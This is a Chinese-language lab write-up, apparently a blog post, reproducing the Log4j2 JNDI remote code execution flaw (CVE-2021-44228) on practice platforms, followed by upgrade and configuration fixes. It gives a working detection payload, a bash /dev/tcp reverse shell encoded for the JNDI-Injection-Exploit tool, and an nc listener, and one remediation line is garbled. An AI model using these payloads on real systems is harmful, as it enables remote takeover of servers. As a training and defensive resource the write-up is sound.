Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现

首先我们先说一下log4j和log4j2的区别

最近由于 log4j2 的漏洞问题,让我对 log4j 和 log4j2 的区别有了一些认识,这里做个简单的记录。

log4j

我理解的 log4j 就是 1.x 版本的 log4j,核心 jar 包就一个,如下:

<dependency>
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>
    <version>1.2.17</version>
</dependency>

log4j2

与 log4j 不同,log4j2 的核心 jar 包有两个,如下:

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.5</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.5</version>
</dependency>

Apache 对 log4j 和 log4j2 在 groupId 上也做了明确的区分,换句话来说就是 package 的路径不同了。这样我们甚至可以在一个 project 中同时使用 log4j 和 log4j2。

环境配置

这里我们主要使用vulfocus和掌控者两个平台,至于为什么要用俩平台呢,只是因为vulfocus搭建的靶场一直没办法反弹shell,所以我们这里用两个平台进行演示。

启动环境

图片[1]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享
图片[2]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享

我们可以直接点击?????查看payload地址:http://ip:39013/hello?payload=111

使用burp进行抓包,然后使用验证 dsnlog,进行漏洞检测

/hello?payload=${jndi:ldap://t9qyjz.dnslog.cn}
图片[3]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享

直接使用jndi服务提示404,我们将payload进行url编码重发

图片[4]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享
图片[5]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享

此时返回值为200,同时dnslog也有回显

图片[6]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享

存在Log4j2远程命令执行(CVE-2021-44228)漏洞

反弹shell

这里我们使用工具进行下一步实验

下载exp,工具具体目录在文件中的tools目录下

http://github.com/bkfish/Apache-Log4j-Learning/

http://github.com/welk1n/JNDI-Injection-Exploit/releases

构造payload:

bash -i >& /dev/tcp/ip/6666 0>&1
base64加密
加密的结果

使用工具

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,加密的结果}|{base64,-d}|{bash,-i}" -A xx.xx.xx.xx
图片[7]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享

同时开启nc监听

nc -lvp 6666
图片[8]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享

使用上述方法进行反弹shell

${jndi:刚刚工具生成的ldap服务地址}

将payload进行url编码,然后重新发包

图片[9]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享

可以看见返回值200,已经成功了,但是就是没有shell反弹回来

图片[8]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享

搜了好长时间,vulhub、vulfocus的靶场都没办法反弹shell,后面又测试了几个平台,发现掌控者可以直接反弹,就拿这个演示吧

注册,打开掌控者靶场平台,进入log4j靶场

图片[11]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享

直接输入反弹shell的payload,点击登录即可

图片[12]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享

成功反弹shell

图片[13]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享

应该就是靶场问题吧

修复建议

官方方案:

  • 将Log4j框架升级到2.15.0版本:org/apache/loging/logj/logj-core/5.0
  • 不要用2.15.0-rc1和2.15.0-rc2

临时方案

  • 升级JDK
  • 修改log4j配置
    • 设置参数:log4j2.formatMsgNoLookups=True
    • 修改jvm参数:-Dlog4j2.formatMsgNoLookups=true
    • 系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
    • 禁止log4j2所在的服务器外连
  • 使用安全产品防护:WAF、RASP
© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容